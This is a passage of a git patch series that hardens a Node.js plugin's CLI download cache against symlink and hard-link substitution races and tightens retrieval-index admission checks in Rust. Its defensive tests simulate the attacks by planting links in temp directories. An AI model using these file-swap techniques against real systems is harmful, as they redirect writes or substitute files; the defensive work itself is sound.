assert.ok(rejected.summary.failed_cells.includes("source_behavior"), label); + assert.ok( + rejected.evaluations.get("source_behavior").value.failures.some((message) => + message.includes("manifest commit is not the reused commit the closeout proved")), + `${label}: ${JSON.stringify(rejected.evaluations.get("source_behavior").value.failures)}`, + ); + // Nothing that reads the row as evidence inherits the unproven commit either. + assert.ok( + rejected.summary.failed_cells.includes("candidate_installed_behavior:linux-x64"), + label, + ); + // And the rejected ledger never restates the unproven commit as accepted evidence. + assert.equal( + rejected.ledger.cells.find(({ id }) => id === "source_behavior").status, + "fail", + label, + ); + } +}); + +test("a reuse block naming the publishing run is not reuse", () => { + // A commit is its own ancestor and its own tree, so a reuse block pointing at the run that is + // publishing verifies trivially while inheriting nothing. Admitting it as a reuse anchor would + // let an ordinary same-run row buy the reused row's standing with a proof about nothing. + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + trusted.producers.find(({ cell_id: cellId }) => cellId === "source_behavior").reused_from = { + run_id: trusted.run_id, + head_sha: gitIdentity.commit, + binding: "source_tree", + binding_value: gitIdentity.source_tree, + }; + manifests.find(({ cell_id: cellId }) => cellId === "source_behavior") + .evidence.identity.commit = "d".repeat(40); + const calls = []; + const verify = reuseVerifier(); + const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, (request) => { + calls.push(request); + return verify(request); + }); + assert.equal(rejected.decision, "reject"); + assert.ok(rejected.summary.input_errors.some((message) => + message.includes("source_behavior reuses evidence from the publishing run"))); + // Refused as meaningless rather than proved: there is no earlier run here to inherit from, so + // the closeout never asks the binding verifier to bless one. + assert.deepEqual(calls, []); + // And the row keeps the commit binding it would have had with no reuse block at all. + assert.ok(rejected.summary.failed_cells.includes("source_behavior")); +}); + +test("native-fingerprint reuse is still refused, and refused for the tree it cannot equate", () => { + // release-claims.json declares a second reuse binding -- accelerator_execution under + // native_fingerprint -- and this closeout does not yet honour it. Fingerprint reuse exists + // precisely because the trees differ, and accelerator_execution requires source_tree, so the + // claim evaluator refuses the row after the closeout anchors it. #1552 is about source-proof + // reuse; widening the tree identity for accelerator evidence is a separate trust decision. + // Pinned here so that gap stays a documented refusal and can never widen unnoticed. + const reusedTree = "c".repeat(40); + const fingerprint = "f".repeat(64); + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + const acceleratorCells = deriveReleaseCells(graph, "pre_publish") + .filter(({ group_id: groupId }) => groupId === "accelerator_execution") + .map(({ id }) => id); + assert.equal(acceleratorCells.length, 3); + for (const cellId of acceleratorCells) { + const row = trusted.producers.find(({ cell_id: candidate }) => candidate === cellId); + row.producer_run_id = reusedRunId; + row.reused_from = { + run_id: reusedRunId, + head_sha: reusedCommit, + binding: "native_fingerprint", + binding_value: fingerprint, + }; + row.artifact.workflow_run_id = reusedRunId; + row.artifact.head_sha = reusedCommit; + row.job.run_id = reusedRunId; + row.job.head_sha = reusedCommit; + const manifest = manifests.find(({ cell_id: candidate }) => candidate === cellId); + manifest.evidence.identity.producer_run_id = reusedRunId; + manifest.evidence.identity.commit = reusedCommit; + manifest.evidence.identity.source_tree = reusedTree; + } + const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, ({ binding }) => { + if (binding !== "native_fingerprint") throw new Error(`unknown reuse binding ${binding}`); + return fingerprint; + }); + assert.equal(rejected.decision, "reject"); + for (const cellId of acceleratorCells) { + assert.ok(rejected.summary.failed_cells.includes(cellId), cellId); + const failures = rejected.evaluations.get(cellId).value.release_claim_evaluation.failures; + assert.ok( + failures.some(({ class: failureClass, message }) => + failureClass === "stale_sha" && message.includes("source tree does not match")), + `${cellId}: ${JSON.stringify(failures)}`, + ); + // The commit the binding proof covered is admitted; only the tree it cannot equate refuses. + assert.ok( + !failures.some(({ message }) => message.includes("commit does not match")), + `${cellId}: ${JSON.stringify(failures)}`, + ); + } +}); From a1122108fb3072cfc1ecc740e62514160cedf325 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:14:26 -0500 Subject: [PATCH 029/132] close the three ways around the no-follow partial open The previous commit constrained one component of one path, and claimed in its own comments that this kept every provisioning byte inside the managed cache. Three routes around it survived. `managedCliDownloadCacheDir` built `/` with `mkdirSync({ recursive: true })`, which returns quietly when that name is already a symlink to a directory. The partial then lives outside the cache and a no-follow open of its final component protects nothing -- no race required. Guard the per-version directory the way the cache root next to it already is, and resolve both ends so a version name cannot climb out either. Provisioning already treats a throw here as "no cache" and falls back to its temp dir, so refusing costs resume rather than correctness. A hard link at the partial path is a regular file to `lstat` and invisible to `O_NOFOLLOW`. It was sized, resumed, and appended straight through into the file it shares an inode with, and `publishDownloadedFile` then made the "archive" a second name for it. Refuse a partial that has more than one name, and re-check the opened descriptor with `fstat` so a link planted after the sizing is refused too. Truncation moves onto that checked descriptor, so a planted link is no longer emptied on the way in. Publication renamed whatever stood at the partial path, so a link planted after the last byte was moved into place as the archive. The transfer now records the device and inode it actually wrote, and publication opens the partial no-follow, refuses anything that is not that file, and re-checks the published name afterwards. The cross-device fallback copies from the same verified descriptor instead of re-opening by name. Windows keeps `O_NOFOLLOW` and `O_NONBLOCK` as `0`. The `fstat`, `lstat` and identity checks all hold there and do refuse a hard link, which Windows makes without privilege; a symlink planted inside the stat/open window stays unprotected on that platform, and the comment at the open now says so. Co-Authored-By: Claude Opus 5 --- plugins/codestory/scripts/codestory-mcp.cjs | 180 +++++++++++++-- .../codestory/tests/plugin-static.test.mjs | 213 ++++++++++++++++++ 2 files changed, 368 insertions(+), 25 deletions(-) diff --git a/plugins/codestory/scripts/codestory-mcp.cjs b/plugins/codestory/scripts/codestory-mcp.cjs index b58e18aed..12903b45d 100644 --- a/plugins/codestory/scripts/codestory-mcp.cjs +++ b/plugins/codestory/scripts/codestory-mcp.cjs @@ -523,6 +523,10 @@ function downloadFileOnce(url, destination, options = {}) { let stallTimer = null; // Bytes already on disk from earlier attempts, plus whatever this attempt appends. let downloadedBytes = resumeFrom; + // Device and inode of the descriptor the bytes actually went into. Publication compares the + // file standing at the partial path against this, so the name being swapped after the last + // byte cannot substitute a different file for the one this transfer wrote. + let partialIdentity = null; const finish = (error) => { if (settled) return; settled = true; @@ -536,7 +540,7 @@ function downloadFileOnce(url, destination, options = {}) { error.downloadedBytes = downloadedBytes; reject(error); } else { - resolve({ downloadedBytes }); + resolve({ downloadedBytes, partial: partialIdentity }); } }; const armStall = () => { @@ -570,6 +574,7 @@ function downloadFileOnce(url, destination, options = {}) { redirectsRemaining: redirectsRemaining - 1, }).then((result) => { downloadedBytes = result?.downloadedBytes ?? downloadedBytes; + partialIdentity = result?.partial ?? partialIdentity; finish(null); }, finish); return; @@ -633,14 +638,21 @@ function downloadFileOnce(url, destination, options = {}) { }); // Open the partial through an explicit no-follow descriptor rather than by path. The stat that // chose `appendFrom` happened earlier, so a symlink planted in between would otherwise still be - // followed here; refusing the open keeps every provisioning byte inside the managed cache. + // followed here. `O_NOFOLLOW` refuses a symlink and `O_NONBLOCK` refuses to block on a fifo, + // but neither says anything about a *hard link*: an extra name for a file outside the cache is + // indistinguishable from our own partial by path. So the descriptor itself is re-checked + // before a byte is written, and only a lone regular file is accepted. + // Both flags are `0` on Windows, where the fstat below is the whole guard: it still refuses a + // hard link (which Windows creates without privilege) but it cannot refuse a symlink planted + // inside this window, so that one case stays open there. let partialFd; try { partialFd = fs.openSync( destination, fs.constants.O_WRONLY | fs.constants.O_CREAT | - (appendFrom > 0 ? fs.constants.O_APPEND : fs.constants.O_TRUNC) | - (fs.constants.O_NOFOLLOW || 0), + (appendFrom > 0 ? fs.constants.O_APPEND : 0) | + (fs.constants.O_NOFOLLOW || 0) | (fs.constants.O_NONBLOCK || 0), + 0o600, ); } catch (error) { response.resume(); @@ -650,6 +662,30 @@ function downloadFileOnce(url, destination, options = {}) { )); return; } + try { + const opened = fs.fstatSync(partialFd); + if (!opened.isFile() || opened.nlink !== 1) { + throw downloadError( + 'partial_open', + `download_partial_open_failed:${opened.isFile() ? 'linked' : 'not_regular'}`, + ); + } + // Truncation happens on the already-verified descriptor instead of through `O_TRUNC`, so a + // hard link planted at the partial path is refused above rather than emptied on the way in. + if (appendFrom === 0) fs.ftruncateSync(partialFd, 0); + partialIdentity = { dev: opened.dev, ino: opened.ino }; + } catch (error) { + try { + fs.closeSync(partialFd); + } catch { + // The descriptor is being abandoned either way. + } + response.resume(); + finish(downloadFailureKind(error) === 'partial_open' + ? error + : downloadError('partial_open', `download_partial_open_failed:${error?.code || 'unknown'}`)); + return; + } output = fs.createWriteStream(destination, { fd: partialFd }); pipeline(response, limiter, output, (error) => finish(error || null)); }; @@ -664,31 +700,105 @@ function downloadFileOnce(url, destination, options = {}) { }); } -// `rename` cannot cross filesystems, and the partial deliberately lives under the managed CLI root -// so it survives a restart while the caller's destination may sit in a temp directory on another -// mount. Falling back to copy-then-unlink keeps publication correct wherever the two land. -function publishDownloadedFile(partialPath, destination) { +// Publication reads the partial through a descriptor, not a path, because the last window in the +// transfer is between the final byte and the rename: swap the partial for a link there and a plain +// `rename` moves the link into place as the "archive". `identity` is the device/inode the transfer +// actually wrote, so anything else standing at that name is refused before it can be published. +function openVerifiedPartial(partialPath, identity) { + let fd; try { - fs.rmSync(destination, { force: true }); - fs.renameSync(partialPath, destination); - return; + fd = fs.openSync( + partialPath, + fs.constants.O_RDONLY | (fs.constants.O_NOFOLLOW || 0) | (fs.constants.O_NONBLOCK || 0), + ); } catch (error) { - if (error?.code !== 'EXDEV') { - throw downloadError('publish', `download_publish_failed:${error?.code || 'unknown'}`); - } + throw downloadError('publish', `download_publish_failed:${error?.code || 'unknown'}`); } try { - fs.copyFileSync(partialPath, destination); - fs.rmSync(partialPath, { force: true }); + const opened = fs.fstatSync(fd); + const ours = opened.isFile() && opened.nlink === 1 && + (!identity || (opened.dev === identity.dev && opened.ino === identity.ino)); + if (!ours) throw downloadError('publish', 'download_publish_failed:partial_identity'); + return { fd, metadata: opened }; } catch (error) { - throw downloadError('publish', `download_publish_failed:${error?.code || 'unknown'}`); + try { + fs.closeSync(fd); + } catch { + // The descriptor is being abandoned either way. + } + throw downloadFailureKind(error) === 'publish' + ? error + : downloadError('publish', `download_publish_failed:${error?.code || 'unknown'}`); + } +} + +// Copies from the verified descriptor rather than re-opening the partial by name, so the +// cross-device path publishes the same bytes the same-device path would. `O_EXCL` means the +// destination is one this call created: a file raced into that name is a failure, not a target. +function copyVerifiedPartial(fd, destination) { + const out = fs.openSync( + destination, + fs.constants.O_WRONLY | fs.constants.O_CREAT | fs.constants.O_EXCL | (fs.constants.O_NOFOLLOW || 0), + 0o600, + ); + try { + const buffer = Buffer.allocUnsafe(1024 * 1024); + let position = 0; + for (;;) { + const read = fs.readSync(fd, buffer, 0, buffer.length, position); + if (read <= 0) break; + fs.writeSync(out, buffer, 0, read); + position += read; + } + } finally { + fs.closeSync(out); + } +} + +// `rename` cannot cross filesystems, and the partial deliberately lives under the managed CLI root +// so it survives a restart while the caller's destination may sit in a temp directory on another +// mount. Falling back to copy-then-unlink keeps publication correct wherever the two land. +function publishDownloadedFile(partialPath, destination, identity = null) { + const { fd, metadata } = openVerifiedPartial(partialPath, identity); + try { + try { + fs.rmSync(destination, { force: true }); + fs.renameSync(partialPath, destination); + } catch (error) { + if (error?.code !== 'EXDEV') { + throw downloadError('publish', `download_publish_failed:${error?.code || 'unknown'}`); + } + try { + copyVerifiedPartial(fd, destination); + fs.rmSync(partialPath, { force: true }); + } catch (copyError) { + throw downloadError('publish', `download_publish_failed:${copyError?.code || 'unknown'}`); + } + return; + } + // A rename keeps the inode, so the published name must still be the verified file. If it is + // not, something replaced the partial between the check and the rename: drop what landed + // instead of handing a foreign file to the checksum step as this release's archive. + const published = fs.lstatSync(destination); + if (!published.isFile() || published.dev !== metadata.dev || published.ino !== metadata.ino) { + fs.rmSync(destination, { force: true }); + throw downloadError('publish', 'download_publish_failed:published_identity'); + } + } finally { + try { + fs.closeSync(fd); + } catch { + // Closing a descriptor whose file is already published or discarded changes nothing. + } } } // The partial is the one attacker-reachable name in the provisioning path, so it is measured with // `lstat`: a symlink planted there would otherwise report the target's size and make the transfer -// resume *through* the link into a file outside the managed cache. Anything that is not a regular -// file can never be resumed, so it is dropped and the transfer restarts from zero. +// resume *through* the link into a file outside the managed cache. A hard link passes `isFile()` +// and is just as available to a same-user attacker, so a partial with more than one name is +// refused too. Anything but a lone regular file is unlinked here and the transfer restarts from +// zero; a directory cannot be unlinked this way and instead fails the no-follow open below. function partialDownloadBytes(partialPath) { let metadata = null; try { @@ -696,11 +806,12 @@ function partialDownloadBytes(partialPath) { } catch { return 0; } - if (metadata.isFile()) return metadata.size; + if (metadata.isFile() && metadata.nlink === 1) return metadata.size; try { fs.rmSync(partialPath, { force: true }); } catch { - // Best effort. The no-follow open below is what actually refuses to write through the link. + // Best effort. The no-follow open and its fstat are what actually refuse to write through a + // link that survives here. } return 0; } @@ -729,7 +840,7 @@ async function downloadFile(url, destination, options = {}) { const resumeFrom = partialDownloadBytes(partialPath); if (onProgress) onProgress({ receivedBytes: resumeFrom, attempt }); try { - await downloadFileOnce(url, partialPath, { + const transferred = await downloadFileOnce(url, partialPath, { ...options, resumeFrom, deadlineMs, @@ -737,7 +848,7 @@ async function downloadFile(url, destination, options = {}) { ? (progress) => onProgress({ ...progress, attempt }) : undefined, }); - publishDownloadedFile(partialPath, destination); + publishDownloadedFile(partialPath, destination, transferred?.partial || null); return; } catch (error) { lastError = error; @@ -1837,10 +1948,28 @@ function managedCliDownloadCacheRoot(root) { return cacheRoot; } +// The per-version directory needs the same guard as the cache root, and needs it after the mkdir: +// `mkdirSync({ recursive: true })` on an existing symlink-to-directory succeeds silently, and the +// no-follow open that protects the partial only constrains the final path component. A symlinked +// version entry would therefore route every provisioning byte outside the cache with no race at +// all. Provisioning treats a throw here as "no cache" and falls back to its temp directory, so +// refusing costs resume rather than correctness. function managedCliDownloadCacheDir(root, version) { - const dir = path.join(managedCliDownloadCacheRoot(root), version); + const cacheRoot = managedCliDownloadCacheRoot(root); + const dir = path.join(cacheRoot, version); fs.mkdirSync(dir, { recursive: true, mode: 0o700 }); - return dir; + const metadata = fs.lstatSync(dir); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) { + throw new Error('managed_cli_download_cache_not_direct'); + } + // The lstat above covers the entry itself; resolving both ends also catches a link deeper in the + // version name and pins the answer to a path that really sits inside the cache. + const resolved = fs.realpathSync(dir); + const resolvedRoot = fs.realpathSync(cacheRoot); + if (resolved !== resolvedRoot && !resolved.startsWith(resolvedRoot + path.sep)) { + throw new Error('managed_cli_download_cache_not_direct'); + } + return resolved; } function trimManagedCliDownloadCache(root, version) { @@ -3597,6 +3726,7 @@ if (require.main === module) { pinnedCliVersion, pinnedArchiveSha256, publishDownloadedFile, + managedCliDownloadCacheDir, removeManagedCliDownloadCache, managedCliDownloadHint, managedCliDownloadProgress, diff --git a/plugins/codestory/tests/plugin-static.test.mjs b/plugins/codestory/tests/plugin-static.test.mjs index 5732cc207..030bd8a70 100644 --- a/plugins/codestory/tests/plugin-static.test.mjs +++ b/plugins/codestory/tests/plugin-static.test.mjs @@ -4873,6 +4873,219 @@ test("release asset downloader refuses a partial swapped for a symlink after it } }); +// `O_NOFOLLOW` constrains the last path component only, and a hard link is not a symlink at all: +// `lstat().isFile()` is true for one, so a hard link planted at the partial path was sized, resumed +// and appended through into the file it shares an inode with. A partial with a second name is +// never one this process created. +test("release asset downloader refuses to resume through a hard-linked partial", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-partial-hardlink-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + const outside = join(dataDir, "outside.txt"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + await writeFile(outside, "precious", "utf8"); + await link(outside, partialPath); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((request, response) => { + const start = Number(/^bytes=(\d+)-$/u.exec(request.headers.range || "")?.[1] ?? 0); + response.writeHead(start > 0 ? 206 : 200, { + "content-length": String(body.length - start), + ...(start > 0 + ? { "content-range": `bytes ${start}-${body.length - 1}/${body.length}` } + : {}), + }); + response.end(body.subarray(start)); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + try { + await launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { attempts: 3, retryDelayMs: () => 1, timeoutMs: 5000, partialPath }, + ); + // The extra name is dropped rather than resumed, so the linked file keeps its own bytes and the + // published archive is a different inode entirely — not a second name for the attacker's file. + assert.equal(await readFile(outside, "utf8"), "precious"); + assert.deepEqual(await readFile(destination), body); + assert.notEqual(fs.statSync(destination).ino, fs.statSync(outside).ino); + assert.equal(fs.statSync(destination).nlink, 1); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + +// The same window the symlink swap uses is open to a hard link, and there `O_NOFOLLOW` does +// nothing. The descriptor itself has to be refused: the transfer fstats what it opened and writes +// only into a lone regular file. +test("release asset downloader refuses a partial hard-linked after it is sized", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-partial-linkswap-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + const outside = join(dataDir, "outside.txt"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + await writeFile(outside, "precious", "utf8"); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((request, response) => { + const start = Number(/^bytes=(\d+)-$/u.exec(request.headers.range || "")?.[1] ?? 0); + response.writeHead(start > 0 ? 206 : 200, { + "content-length": String(body.length - start), + ...(start > 0 + ? { "content-range": `bytes ${start}-${body.length - 1}/${body.length}` } + : {}), + }); + response.end(body.subarray(start)); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + let planted = false; + try { + await launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { + attempts: 3, + retryDelayMs: () => 1, + timeoutMs: 5000, + partialPath, + // The first callback of the first attempt sits between the sizing lstat and the open. + onProgress() { + if (planted) return; + planted = true; + fs.linkSync(outside, partialPath); + }, + }, + ); + assert.equal(planted, true); + // The attempt that opened the planted link wrote nothing: neither the release bytes nor a + // truncation reached it, and the next attempt started from a partial of its own. + assert.equal(await readFile(outside, "utf8"), "precious"); + assert.deepEqual(await readFile(destination), body); + assert.notEqual(fs.statSync(destination).ino, fs.statSync(outside).ino); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + +// Between the last byte and the rename the partial is still just a name. Publication therefore +// works from a no-follow descriptor and compares it against the device/inode the transfer wrote, +// so a link swapped in at that point is refused instead of renamed into place as the "archive". +test("release asset publication refuses a partial swapped for a symlink before the rename", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-publish-symlink-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + const outside = join(dataDir, "outside.txt"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + await writeFile(outside, "precious", "utf8"); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((_request, response) => { + response.writeHead(200, { "content-length": String(body.length) }); + response.end(body); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + let planted = false; + try { + await assert.rejects( + launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { + attempts: 1, + retryDelayMs: () => 1, + timeoutMs: 5000, + partialPath, + onProgress(progress) { + if (planted || progress.receivedBytes !== body.length) return; + planted = true; + fs.rmSync(partialPath, { force: true }); + fs.symlinkSync(outside, partialPath, "file"); + }, + }, + ), + /download_publish_failed/u, + ); + assert.equal(planted, true); + assert.equal(fs.existsSync(destination), false); + assert.equal(await readFile(outside, "utf8"), "precious"); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + +// A plain regular file swapped in at the partial path passes every type check there is, so type is +// not the question publication asks: it asks whether this is the file the transfer wrote. Without +// the identity comparison the foreign bytes are published as this release's archive. +test("release asset publication refuses a partial replaced by another regular file", async () => { + const { createServer } = await import("node:http"); + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-publish-swap-")); + const destination = join(dataDir, "runtime.bin"); + const partialPath = join(dataDir, "cache", "runtime.bin.part"); + await mkdir(join(dataDir, "cache"), { recursive: true }); + const body = Buffer.from("the-managed-runtime-archive-payload"); + const server = createServer((_request, response) => { + response.writeHead(200, { "content-length": String(body.length) }); + response.end(body); + }); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + let planted = false; + try { + await assert.rejects( + launcherTest.downloadFile( + `http://127.0.0.1:${server.address().port}/runtime`, + destination, + { + attempts: 1, + retryDelayMs: () => 1, + timeoutMs: 5000, + partialPath, + onProgress(progress) { + if (planted || progress.receivedBytes !== body.length) return; + planted = true; + fs.rmSync(partialPath, { force: true }); + fs.writeFileSync(partialPath, "substituted-archive-payload"); + }, + }, + ), + /download_publish_failed:partial_identity/u, + ); + assert.equal(planted, true); + assert.equal(fs.existsSync(destination), false); + } finally { + await new Promise((resolve) => server.close(resolve)); + await rm(dataDir, { recursive: true, force: true }); + } +}); + +// `mkdirSync({ recursive: true })` succeeds silently on an existing symlink-to-directory, and the +// no-follow open protecting the partial only constrains the final component. A symlinked version +// entry therefore needed no race at all to put every provisioning byte outside the cache. +test("download cache refuses a symlinked per-version directory", async () => { + const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-cache-version-symlink-")); + const root = join(dataDir, "codestory-cli"); + const outside = join(dataDir, "outside"); + await mkdir(join(root, ".download"), { recursive: true }); + await mkdir(outside, { recursive: true }); + await symlink(outside, join(root, ".download", "0.16.1"), "dir"); + try { + assert.throws( + () => launcherTest.managedCliDownloadCacheDir(root, "0.16.1"), + /managed_cli_download_cache_not_direct/u, + ); + // Nothing was handed back, so no partial path can be built through the link. + assert.deepEqual(await readdir(outside), []); + // A real directory is still accepted, and lands inside the cache root. + const usable = launcherTest.managedCliDownloadCacheDir(root, "0.16.2"); + assert.equal(usable, join(await realpath(join(root, ".download")), "0.16.2")); + assert.equal(fs.lstatSync(usable).isDirectory(), true); + } finally { + await rm(dataDir, { recursive: true, force: true }); + } +}); + test("download cache trimming refuses to delete through a symlinked cache root", async () => { const dataDir = await mkdtemp(join(tmpdir(), "codestory-download-symlink-")); const root = join(dataDir, "codestory-cli"); From 41dc2cb1c2870ca84878339536f79bbb70becbc4 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 09:16:01 -0500 Subject: [PATCH 030/132] close the second admission gate readiness can see and stop sweeping anchor rows Review of the first pass found the fix closed only one of admission's two refusal gates while its comment claimed it closed all of them, and that folding the manifest staleness scan into readiness put a full dense_anchor_input row sweep on five observational paths. Consult the incomplete-incremental-run marker too. SidecarQuery::begin refuses on both manifest_unavailable_reason_for_runtime and the pub(crate) strict gate, whose first and unconditional check is that marker. An interrupted incremental index leaves the manifest, counts, and mtimes agreeing, so the first gate returns None and readiness kept promising hybrid for a store the next search refused with incomplete_incremental_index_run -- verbatim #1557. Both gates now read the marker through one shared helper, storage_admission_refusal_reason_for_runtime. Narrow the claim to what is true. The strict gate also refuses on the workspace execution plan, the symbol-doc backend labels, and the input fingerprint, none of which a &Storage-only caller can re-derive. The doc comment now names those reasons, states that agreement is one-directional (everything readiness refuses, admission also refuses; not the converse), and points at retrieval status for exact parity. Aggregate the dense-anchor staleness scan instead of paging rows. collect_dense_anchor_stats paged full DenseAnchorInputs, SELECTing every anchor's document_text, purely to count rows and tally selection reasons -- tens of megabytes of string allocation per call, now on project open, retrieval_state, grounding snapshots, and status. Storage::dense_anchor_input_stats answers all four numbers from one grouped scan that never touches the document column; MIN(node_id) per group reproduces the row-order first-policy-version rule. Admission pays less for this too. Report stale zero-anchor publications as degraded, not unbuilt. A zero-dense manifest describes a built lane, but runtime_degraded required semantic_doc_count > 0, so a stale one fell through to missing_semantic_docs -- "semantic symbol docs have not been built yet" for a lane that was built -- and doctor's stale-or-degraded gap never fired for it. Also rename the regression test for the one reason it pins, and delete the stray committed merge-conflict marker in the changelog hunk this change edits. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 1 - crates/codestory-retrieval/src/generation.rs | 114 +++++----- crates/codestory-retrieval/src/lib.rs | 2 +- crates/codestory-retrieval/src/sidecar.rs | 15 +- .../src/search_publication.rs | 80 ++++--- crates/codestory-runtime/src/tests.rs | 204 +++++++++++++++++- crates/codestory-store/src/lib.rs | 14 +- .../codestory-store/src/storage_impl/mod.rs | 64 ++++++ .../src/storage_impl/tests/mod.rs | 121 +++++++++++ 9 files changed, 510 insertions(+), 105 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fe019f2ca..e55dbd4b2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -49,7 +49,6 @@ - Windows and Linux start faster, and commands run at the same time no longer queue behind one another. -||||||| parent of e925d6da (note the windows deep-cache-root publication fix in the changelog) ## 0.16.1 Fixes first use on a slow or unreliable connection. diff --git a/crates/codestory-retrieval/src/generation.rs b/crates/codestory-retrieval/src/generation.rs index f7fd41a71..9bf8f9906 100644 --- a/crates/codestory-retrieval/src/generation.rs +++ b/crates/codestory-retrieval/src/generation.rs @@ -1,13 +1,11 @@ #[cfg(test)] use codestory_contracts::graph::NodeKind; use codestory_store::{RetrievalIndexManifest, Store}; -use std::collections::BTreeMap; pub const SIDECAR_SCHEMA_VERSION: i32 = 6; pub const SEMANTIC_POLICY_VERSION: &str = "graph_first_v2"; pub const SIDECAR_SEMANTIC_DOC_CONTRACT_CHANGED: &str = "sidecar_semantic_doc_embedding_contract_changed"; -const STALENESS_DOC_BATCH_SIZE: usize = 1024; pub fn sidecar_generation_id(project_id: &str, sidecar_input_hash: &str) -> String { let suffix = sidecar_input_hash.chars().take(16).collect::(); @@ -112,7 +110,10 @@ pub fn manifest_staleness_reason_for_runtime( .dense_projection_count .or(manifest.projection_count) { - match collect_dense_anchor_stats(storage) { + // Aggregate, never paged rows: this scan is on every observational + // readiness and status call, and paging `DenseAnchorInput`s here + // materialized every anchor's `document_text` just to count them. + match storage.dense_anchor_input_stats() { Ok(stats) => { if expected_count > 0 && stats.doc_count == 0 { return Some( @@ -132,7 +133,7 @@ pub fn manifest_staleness_reason_for_runtime( )); } if let Some(expected_reasons) = manifest.dense_reason_counts_json.as_deref() { - let actual_reasons = serde_json::to_string(&stats.dense_reason_counts) + let actual_reasons = serde_json::to_string(&stats.selection_reason_counts) .unwrap_or_else(|_| "{}".into()); if actual_reasons != expected_reasons { return Some(format!( @@ -170,6 +171,55 @@ pub fn manifest_unavailable_reason_for_runtime( .map(|reason| format!("retrieval_manifest_stale: {reason}")) } +/// The incomplete-incremental-run refusal, named once. +/// +/// Strict sidecar admission checks this before anything else and unconditionally +/// — before the manifest-contract early return — so an interrupted incremental +/// index refuses even while the manifest, counts, and mtimes still agree. It is +/// re-exported through `storage_admission_refusal_reason_for_runtime` so a +/// `&Store`-only caller outside this crate gates on the same marker rather than +/// re-deriving one of its own. +pub(crate) fn incomplete_incremental_run_reason(storage: &Store) -> Option { + match storage.has_incomplete_incremental_run() { + Ok(true) => Some("incomplete_incremental_index_run".into()), + Ok(false) => None, + Err(error) => Some(format!( + "incomplete_incremental_index_marker_unavailable: {error}" + )), + } +} + +/// Every sidecar-admission refusal a caller holding only `&Store` can re-derive. +/// +/// This is deliberately **not** all of admission. `SidecarQuery::begin` refuses +/// on two independent gates: this one, and +/// `validate_strict_sidecar_readiness_for_runtime`, which is `pub(crate)` here +/// and structurally unreachable from other crates because it additionally needs +/// the storage path, the project root's workspace manifest, and a producer +/// compatibility identity. The reasons only that second gate can raise are +/// `sidecar_symbol_docs_mixed_embedding_backends`, +/// `sidecar_symbol_doc_embedding_backend_changed`, +/// `indexed_file_error_retry_required`, +/// `indexable_file_added_or_changed_after_retrieval_manifest`, +/// `indexed_file_removed_after_retrieval_manifest`, and +/// `sidecar_input_hash_changed`. A caller of this function is therefore +/// *conservative-agreeing* with admission, not equal to it: everything this +/// refuses, admission also refuses, but admission can still refuse more. +/// Callers that must not over-claim readiness need that direction; callers +/// needing exact parity have to go through `retrieval status`, which runs the +/// strict gate. +pub fn storage_admission_refusal_reason_for_runtime( + project_id: &str, + storage: &Store, + manifest: &RetrievalIndexManifest, + runtime: &crate::config::SidecarRuntimeConfig, +) -> Option { + if let Some(reason) = incomplete_incremental_run_reason(storage) { + return Some(format!("retrieval_manifest_stale: {reason}")); + } + manifest_unavailable_reason_for_runtime(project_id, storage, manifest, runtime) +} + pub fn manifest_sidecar_generation(manifest: &RetrievalIndexManifest) -> &str { manifest .sidecar_generation @@ -197,62 +247,6 @@ pub(crate) fn sidecar_semantic_node_kind(kind: NodeKind) -> bool { ) } -#[derive(Default)] -struct DenseAnchorStats { - doc_count: u32, - policy_version: Option, - dense_reason_counts: BTreeMap, - mixed_policy_versions: bool, -} - -fn collect_dense_anchor_stats(storage: &Store) -> Result { - let mut stats = DenseAnchorStats::default(); - let mut first_policy: Option> = None; - let mut after = None; - - loop { - let anchors = storage - .get_dense_anchor_inputs_batch_after(after, STALENESS_DOC_BATCH_SIZE) - .map_err(|error| error.to_string())?; - if anchors.is_empty() { - break; - } - after = anchors.last().map(|anchor| anchor.node_id); - for anchor in anchors { - stats.doc_count = stats.doc_count.saturating_add(1); - observe_optional_string( - &mut first_policy, - &mut stats.policy_version, - &mut stats.mixed_policy_versions, - Some(&anchor.policy_version), - ); - 